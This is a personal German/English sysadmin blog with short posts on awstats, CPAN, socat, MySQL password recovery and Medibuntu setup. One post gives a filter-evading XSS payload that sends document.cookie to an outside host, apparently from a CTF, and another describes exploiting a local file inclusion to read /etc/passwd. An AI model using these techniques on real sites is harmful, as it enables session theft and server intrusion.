Skip to content
Mrz 11 11

Regenerate Awstat Statistics from old logfiles

by Beni

This week I ran into a problem with awstats: We changed the awstats configuration file in /etc/awstats/awstats.conf, and wanted to apply these changes to the statistics generated by awstats.

Because these statistics are generated by awstats.pl, we needed to find a way to regenerate them from our gzipped Apache2 logfiles stored in /var/log/apache2 on our Debian systems.

Here’s our solution to the task at hand, a small shell script:

1
2
3
4
5
6
7
8
9
10
11
12
# Find all gzipped apache log files
for f in `ls access.log.*.gz`; 
# Unzip Logfile
do echo "unzip $f..";
gunzip $f; 
# Call Awstats on this logfile
echo "run awstats..";
perl /usr/lib/cgi-bin/awstats.pl -logfile=`echo $f | replace .gz ''` -update -config=awstats; 
# Gzip Logfile again to save space
echo "gzipping $f.."; 
gzip `echo $f | replace .gz ''`;
done
Jan 12 11

Perl-Module mit CPAN installieren am Beispiel von XML::SAX

by Beni

Heute Mittag hat mich mal wieder das Thema CPAN eingeholt, dem Modulmanagementsystem von Perl. Ein Kollege hatte Probleme dabei, das Perl-Modul XML::SAX zu installieren. Da vielleicht einige von euch hin und wieder mit CPAN kämpfen, habe ich mich entschlossen meine Antwort hier zu veröffentlichen.

Was ist CPAN?

Für die Modulverwaltung gibt es in Perl ein Ungetüm namens “CPAN”, das ist in etwa mit apt(itude) bei Debian/Ubuntu oder yaml vergleichbar und kann als eine Art Paketmanager für Perl-Module angesehen werden.

Was ist ein Perl-Modul?

Ein Perl-Modul ist vergleichbar mit einer konventionellen Library, die von Binaries für bestimmte Funktionen benötigt wird. Es kann in Perl-Programmen eingebunden werden und stellen diesem eine Programmbibliothek zur Verfügung.

In unserem Fall ist die genaue Aufgabe von XML::SAX einen einfachen Zugriff auf XML-Dokumente zu ermöglichen.

Wie installiert man ein Modul per CPAN?

Das Modul XML::SAX habe ich wie folgt installiert:

  1. Gehe in die CPAN-Shell mit folgendem Befehl:
    1
    
    perl -MCPAN -e shell

    (Wenn du dabei irgendetwas gefragt wirst, einfach immer die Enter-Taste drücken und somit die Frage mit dem Standardwert beantworten)


  2. Installiere das gewünschte Modul (hier: XML::SAX) mit
    1
    
    install XML::SAX

  3. Das Modul wird nun entweder aus dem bereits lokal vorhandenen Sourcecode entpackt (/usr/src unter Debian) oder aus dem Internet von CPAN.org heruntergeladen und danach automatisch per `make install` installiert.
    Wenn hierbei keine Fehler auftreten dann ist alles erfolgreich abgeschlossen worden.

  4. Um zu überprüfen, ob das Modul wirklich installiert wurde, kannst du einfach erneut den Installationsbefehl eingeben.
    1
    
    install XML::SAX

    CPAN sollte nun die Meldung XML::SAX is up to date (0.96) aussprucken, es ist also alles im grünen Bereich.



Nun ist das Perl-Modul XML::SAX installiert und verfügbar. Ich hoffe meine kleine Anleitung konnte dir helfen :-)

Nov 2 10

Open all files of a specific type in your favorite Editor

by Beni

If you want to open all *.js, *.css and *.html files in a specific directory with your favorite editor geany, execute the following command:

1
find . -type f -a -name \*.html -o -name \*.js -o -name \*.js | xargs geany &

Have fun! :-)

Sep 25 10

Schöner XSS-Vektor

by Beni

Ich war gerade in der Situation, dass ich mit einem XSS-Vektor Cookies stehlen musste. An für sich ist das nichts ungewöhnliches, bis auf die Blacklist: cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert.

1
<iframe src="//google.de" onload="this.src=['//www.roonk.de?ctf4=',eval(['docume','nt.co','okie'].join(''))].join('')"></iframe>

:)

Aug 16 10

Unsicherer PHP-Programmierer

by Beni

Seit einigen Tagen habe ich eine Stelle als PHP-Programmierer ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft.

Ich habe schon viele gute Bewerbungen erhalten, aber sie waren alle nichts gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend:

  • 12+ years PHP experience
  • 8+ years Perl experience
  • sehr ansprechender Stundenlohn

Das klingt nach einem Perl-Guru, der dann auf PHP umgesattelt ist, nicht wahr?

Es wurden zwei PHP-Projekte zur Referenz angeboten, direkt mal angeschaut und vom Stuhl gefallen. Der Grund ist nicht wirklich schwer zu finden, die URL sah wie folgt aus:

http://XXXXXXXXXXXX.com/?main=pce/index.php

Für die Personen die spätestens jetzt total verwirrt sind: Der Homepage wird hinter dem ? der Variable main die Adresse zu einem PHP-Script zugewiesen (und zwar pce/index.php).

Wenn man also den Inhalt von main entsprechend verändert, kann man beliebige Dateien des Servers anzeigen. Beispiel:

So können wir die Datei /etc/passwd auslesen, in der Informationen über die Benutzeraccounts eines Linux-Systems gespeichert sind. Natürlich ist jetzt auch nicht mehr weit bis zu einem erfolgreichen Hack, aber darum geht es an dieser Stelle auch nicht.

Benutzerliste des Servers - /etc/passwd

Es gab noch einige weitere Sicherheitslücken in seinen Referenzprojekten, und nett wie ich bin habe ich sie ihm natürlich auch sofort mitgeteilt.

Den Job wird er aber nicht bekommen und hiermit verabschiede ich mich, sprachlos. ;)

Jul 14 10

Ubuntu PostScript error: limitcheck

by Beni

Nach dem Ausdrucken einer Bilddatei sah ich den folgenden Postscript-Fehler auf dem Papier:

1
2
3
ERROR: limitcheck
OFFENDING COMMAND: image
STACK: false , ( Resource/ProcSet/ComposeOCF ) , ( r ) ,

Nachdem ich die Bilddatei mit Gimp öffnete, wurde mir in einem Dialog die Farbraumkonvertierung zu SRGB angeboten. Nachdem diese durchgeführt wurde, speicherte ich das Bild unter einem anderen Dateinamen und der Druckvorgang funktionierte endlich wieder :-)

Jul 8 10

socat Port Forwarding

by Beni

Um z.B. den lokalen Port 3306 auf den port 8849 eines anderen Hosts weiterzuleiten, führe man folgenden Befehl aus:

socat TCP4-LISTEN:3306 TCP4:mein-server.de:8849

Im Notfall muss man vorher natürlich noch per apt-get install socat socat installieren! ;-)

Jul 8 10

Recover MySQL Root Password

by Beni
  1. Stop mysqld process:
    /etc/init.d/mysql stop
  2. Start mysqld with –skip-grant-tables:
    mysqld --skip-grant-tables
  3. Open another shell, login as root:
    mysql -uroot
  4. Switch to the “mysql” Database:
    use mysql;
  5. Change root password in mysql console:
    UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';
  6. leave mysql console:
    quit;
  7. Restart mysql daemon:
    /etc/init.d/mysql restart

Have fun!

Jun 28 10

Google Earth auf Ubuntu installieren

by Beni

Um Google Earth auf Ubuntu zu installieren, benötigen wir erst einen funktionierenden Zugriff auf das Medibuntu-Repository (Wie kann ich das Medibuntu-Repository unter Ubuntu einrichten?).

Jetzt versuchen wir Google Earth über den Paketmanager zu installieren:

1
sudo apt-get install googleearth

Nach einigen Minuten Downloadzeit ist die Installion von Google Earth fertig. Nun können wir Google Earth unter Ubuntu verwenden. Viel Spaß! :-)

Jun 28 10

Medibuntu Repository auf Ubuntu einrichten

by Beni

Das Medibuntu-Repository ist eine große Ansammlung von Programmen, Codecs und Multimedia-Tools, die aus rechtlichen Gründen leider nicht direkt in Ubuntu integriert werden können.

Durch über Medibuntu bereitgestellte Software kann man also zum Beispiel

  • Kopiergeschützte  DVDs abspielen
  • Kopiergeschützte CDs abspielen
  • Musik im “Windows Media”-Format abspielen
  • Google Earth oder Acrobat Reader auf Ubuntu installieren

Klingt ganz gut, oder? Also los:

1 – Medibuntu Repository hinzufügen:

1
sudo wget --output-document=/etc/apt/sources.list.d/medibuntu.list http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list &amp;&amp; sudo apt-get --quiet update &amp;&amp; sudo apt-get --yes --quiet --allow-unauthenticated install medibuntu-keyring &amp;&amp; sudo apt-get --quiet update

2 – Programm installieren, mit dem Medibuntu-Software auch im normalen Software-Manager zur Auswahl angezeigt wird (nicht unbedingt erforderlich):

1
sudo apt-get --yes install app-install-data-medibuntu apport-hooks-medibuntu

Das war es jetzt auch schon, wir haben das Medibuntu-Repository erfolgreich zu unserem Ubuntu-System hinzugefügt! :-)